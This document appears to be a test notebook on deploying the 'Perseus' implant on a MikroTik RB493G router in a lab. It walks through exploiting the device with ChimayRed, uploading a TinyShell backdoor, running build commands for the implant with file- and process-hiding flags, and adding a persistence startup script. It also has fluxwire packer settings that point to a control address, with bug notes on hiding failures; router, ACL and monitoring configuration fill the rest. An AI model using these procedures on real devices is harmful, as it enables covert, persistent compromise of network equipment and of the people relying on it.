Owner: User #14587667

Perseus 1.1.0b1 Mikrotik RB493G - Test Notes

Perseus 1.1.0 Beta 1
MikroTik RB493G

General Info

WAN (from TR-Core) 172.20.100.4/30
TR-CoreSwx: 172.20.100.5    Perseus: 172.20.100.6

TR-Core Switch Route: 192.168.88.0/27 -> 172.20.100.6  (This gives the Perseus LANLocal Area Network 30 host IPs)

ICON-CR: 172.20.12.23/24

LAN Hosts:

192.168.88.2  Perseus Test1 -1.1.0b1 - UbuntuDesktop 14.10 x64

192.168.88.3  Windows 7 VM

VLAN 10 IP: 192.168.0.1

Cisco 2960: 192.168.0.2

4/3/2015

• Changed RB493G ether1 IP to 172.20.100.6/30.
• Changed RB493G ether2 IP to 192.168.88.1/24.
• Default IP: 192.168.88.1/24
• Figure out how to run ChimayRed and TinyShell (TshPatcher).

4/8/2015

• Unable to connect RB493G to Console server.  Checked MT website and confirmed settings, but no luck.
• Downloaded and upgraded MT f/w to v6.27
  • Move Windows VMVirtual Machine to VLAN-602 (Perseus Internal).
  • Use Winbox to upload new f/w.  Copy "routeros-mipsbe-6.27.npk" using the Files List window.
    
  • Select System -> Reboot.  Once rebooted, the new version number (6.27) will be seen in the Winbox Title.

4/9/2015

• Setup TR-Core route to 192.168.88.0/27

ip route 192.168.88.0 255.255.255.224 172.20.100.6 name Perseus-MT_RB493G

• Add default route (0.0.0.0/0 via 172.20.100.5) for MT (IP -> Routes): 
• Setup ACLAccess Control List (on TR-Core) to restrict VLANVirtual Local Area Network access (see Access List Configuration section below for settings).
• Configure NATNetwork Address Translation on RS493G using the following rule (IP -> Firewall -> NATNetwork Address Translation): 
• Delete 'Serial0' port under System -> Console.
• Setup NTPNetwork Time Protocol client (System -> SNTP Client): 
• Apply ACLs to VLAN601 (Perseus WANWide Area Network)

4/10/2015

• Worked with Bingham to throw ChimayRed and TinyShell on MT RB-493G.
• Here is the order exploits/tools are used operationally:  
  • Package TinyShell with port, key, architecture, and shell (optional)
  • Use ChimayRed to upload exploit (TinyShell) to MT.  Requires access to port 8291 and 80.
  • Connect to TinyShell.  You are now in an encrypted session between ICON and the MT.
  • Upload BusyBox and/or Perseus.
  • For more specific details refer to the step-by-step guide Chimay Red, TinyShell, and BusyBox Quick Start Guide .

4/13/2015

• Reset MT and exploited again using ChimayRed and TinyShell.
• Copied BusyBox binary from OSN to Devlan.  Confirmed with Bingham that this is the current version that COG/NOD is using (mips-be version)
• Uploaded BusyBox (COGComputer Operations Group version) to MT using TinyShell.

4/14/2015

ID	Status	Task
6	incomplete	User #14587667 Finding: I had a TS connection opened and it was sitting idle for a while (maybe about 45 min).  When I came back to remote shell, it was hung.  Ctrl-C, Ctrl-Z, did not work.  Nothing appears when I type.
7	complete	User #14587667 Bug??: After running ./start, I touched a file named /flash/boot/hi.txt and it was not hidden. After re-deploying P it was hidden
13	incomplete	User #14587667 Caution: Do not make removal trigger a read-only partition.  If so, how do you trigger removal?
14	incomplete	User #14587667 Bug??: Did timestamp of /flash/boot change when Perseus installed?
15	complete	User #14587667 Bug??: When I hide busybox it no longer lets me use it.

• Talked with User #73771 on the phone.  Secure delete is kicking and deleting the files Perseus should be hiding.  User #73771 needs to research this some more and will get back in touch with me tomorrow.

4/16/2015

• User #73772 requested configuration and log files of the Perseus installation and execution.  2015-04-16_063833-Perseus-Install_Log.log
• User #73771 and User #73772 came over to DD2 and User #73771 worked with me to troubleshoot the MT.  It turns out that the kernel had been deleted by secure delete.  User #73771 and User #73772 took the MT back with them to TP to perform further analysis.

4/27/2015

• Re-configured MT with WAN, LAN, NATNetwork Address Translation settings.  Device had been bricked and was reset by TP.

ID	Status	Task
21	incomplete	User #14587667 Is this a CR bug?? If so, does it need to be reported? Error when throwing CR
22	complete	User #14587667 Shouldn't this be hidden.  It was built with this command "python perseus_1.1.0.0b1_routeros6_mips.zip -f /flash/boot/hidden -f /flash/etc/rc.d/run.d/S99mcc -f /tmp/tshd-mipsbe -d /flash/boot/hidden -d /tmp/tshd-mipsbe -S /flash/boot/hidden/start -s 1 -m /flash/boot/hidden/mcc.ko -r /tmp/dont_panic deploy" Resolution: I spoke with User #73771 and Perseus hides the absolute path.  In this case /tmp is a symlink to /rw/tmp and /rw/tmp is a symlink to /flash/rw/tmp.  So /tmp is a symlink to /flash/rw/tmp.  The full path needed to hide /tmp/tshd-mipsbe is actually /flash/rw/tmp/tsh-mipsbe.

4/28/2015

• Spoke with User #73771 to troubleshoot why /tmp/tshd-mipsbe is not hidden when running "ps ax" (Notes under 4/27/2015).
• Refer to "2015-04-28_110134-Perseus-ICON_window1 TS process not hidden w new command" for logs.

4/29/2015

• Created startup script to make tsh persistent (/flash/etc/rc.d/run.d/S99tsh).
• Although tsh is not hidden when run from /tmp/tshd-mipsbe, it is hidden when it is run from /flash/boot/hidden/tshd-mipsbe (after reboot).
• Current parameters used to generate perseus:  
       python perseus_1.1.0.0b1_routeros6_mips.zip -f /flash/boot/hidden -f /flash/etc/rc.d/run.d/S99mcc -f /flash/etc/rc.d/run.d/S99tsh -d /flash/boot/hidden -p /flash/rw/tmp/tshd-mipsbe -S /flash/boot/hidden/start -s 1 -m /flash/boot/hidden/mcc.ko -r /flash/boot/hidden/dont_panic deploy

ID	Status	Task
27	complete	User #14587667 When a process is started and then the originating binary is deleted (the process is still running), Perseus does not hide it.

5/4/2015

• Put together step by step instructions for TP to replicate bug PS-1.

5/5/2015

ID	Status	Task
28	complete	User #14587667 Check these counters when using Perseus to see if it affects the counters

5/11/2015

ID	Status	Task
29	incomplete	Tsh traffic does show up in Torch when executing commands from ICON

• Installed Cacti server (192.168.0.8/24)
  
• Racked Cisco 2960 to extend MT network.  Added subnet 192.168.0.0/24.
• Added VLANs 605, 606, 607 so hosts can be added to Cisco 2960/MT LAN2 for testing.
  

5/12/2015

• Configured RB493G to send syslog and SNMPSimple Network Management Protocol to Cacti server.
• Fixed Cacti rsyslog config (/etc/rsyslog.conf) and added instructions to Linux confluence page.
• Setup port-forward from WANWide Area Network IP to Cacti server.
  • 
• Create trunk between RB493G and Cisco 2960 and connect two host VMs
  
  • MT Settings: (switchports) (bridge)   (ip address) (interfaces) Cisco Settings:
    

5/13/2015

• Configured Cisco 2960
  • NTP client (ntp server 172.20.100.5)
  • Default gateway (int vlan 10; ip default-gateway 192.168.0.1)
  • Setup syslog (service timestamps log datetime localtime; logging 192.168.0.8; logging trap informational)

5/18/2015

• Configure flux
  • flx-packer -s linux:mipsbe:mikrotik:6.x -o mt-fw_node -k aaaabbbbccccdddd --link "ip4=172.20.12.23 tcp=443 watchdog=0:0" -m 1250
• User #73773 confirmed with CANDILIS that fluxwire 3.3 was successfully run on a MikroTik running ROS 6.27.  He did not confirm it was BE or LE.
• I am having trouble running fluxwire 3.3 on the RB493G running ROS 6.27.  I was able to successfully create an Ubuntu flux node (using the same commands with the only difference being the target architecture).
• I was unable to run fluxwire when perseus was installed.  The process never appeared in the process list.  I tried running it from both hidden and non-hidden directories.  As soon as I removed perseus, fluxwire ran just fine.

5/19/2015

• The fluxwire node will not start if you try to run it from outside the directory it resides in.  In other word, you must first cd to the binary's directory.

Notes

• Perseus only deletes files/directories that are specified to be hidden.
• If secure delete is not used, but mcc is revereted manually (using /tmp/busybox rmmod mcc) ...
• To hide an executable, the absolute path to the binary must be specified using the -p option.  The MT uses many symlinks (ie. /tmp is a symlink for /flash/rw/tmp), so be sure to determine the absolute path.  You can use the "readlink -f <path>" command to show the absolute path. 
• If ts is running from a hidden directory and perseus is removed (by touching trigger file), then the tshd process is no longer hidden and appears in the process list.  So if tsh was run from /flash/boot/hidden/tshd-mipsbe the directory /flash/boot/hidden is deleted, but /flash/boot/hidden/tshd-mipsbe shows up in the process list (ps ax).

Install Perseus

1. Copy perseus_1.1.0_routers6_mips.zip to ICON VM.
2. Build the installation package
   $ python perseus_1.1.0.0b1_routeros6_mips.zip -f /flash/boot -f /tmp/busybox2 -d /flash/boot -d /flash/data -S /flash/boot/start -s 1 -m /flash/boot/mcc.ko -r /tmp/dont_panic deploy
3. Create /tmp/hidden directory on MT.
   $ ~/Desktop/TshPatcher_v1.0.4/tsh-x86_64  172.20.100.6 12345 MyPassphrase
   # mkdir /tmp/hidden 
   # exit
4. Upload Perseus to MT.  The prerequisites for this include CR, TS, and BB (optional).
   From ICON, execute the commands: 
   $ ~/Desktop/TshPatcher_v1.0.4/tsh-x86_64  172.20.100.6 12345 MyPassphrase put ~/Desktop/deploy_perseus_1.1.0.0b1_routeros6_mips/mcc.ko /flash/boot
   $ ~/Desktop/TshPatcher_v1.0.4/tsh-x86_64  172.20.100.6 12345 MyPassphrase put ~/Desktop/deploy_perseus_1.1.0.0b1_routeros6_mips/S99mcc /flash/boot
   $ ~/Desktop/TshPatcher_v1.0.4/tsh-x86_64  172.20.100.6 12345 MyPassphrase put ~/Desktop/deploy_perseus_1.1.0.0b1_routeros6_mips/start  /flash/boot
5. Make "start" executable
   # chmod +x /tmp/perseus/start
6. Start Perseus implant
   # /flash/boot/start

Useful MT commands:

Access List Configuration

Create ACL

ip access-list ext Perseus-WAN
permit ip host 172.20.100.6 host 172.20.12.23
deny ip any any log

show access-list

Apply ACLAccess Control List to VLAN

int vlan 601
ip access-group Perseus-WAN in

show access-list Perseus-WAN

Add statement to ACLAccess Control List and resequence

ip access-list ext Perseus-WAN
15 permit ip host 172.20.100.6 host 172.20.100.5
ip access-list resequence Perseus-WAN 10 10

Show Access List hits

show log | inc list Perseus-WAN

Areas to test

def parse_args(self, args):
# XXX TODO Bounds checks
# XXX Add checking for os version file, mcc, hide_files

Decreate network latency <40%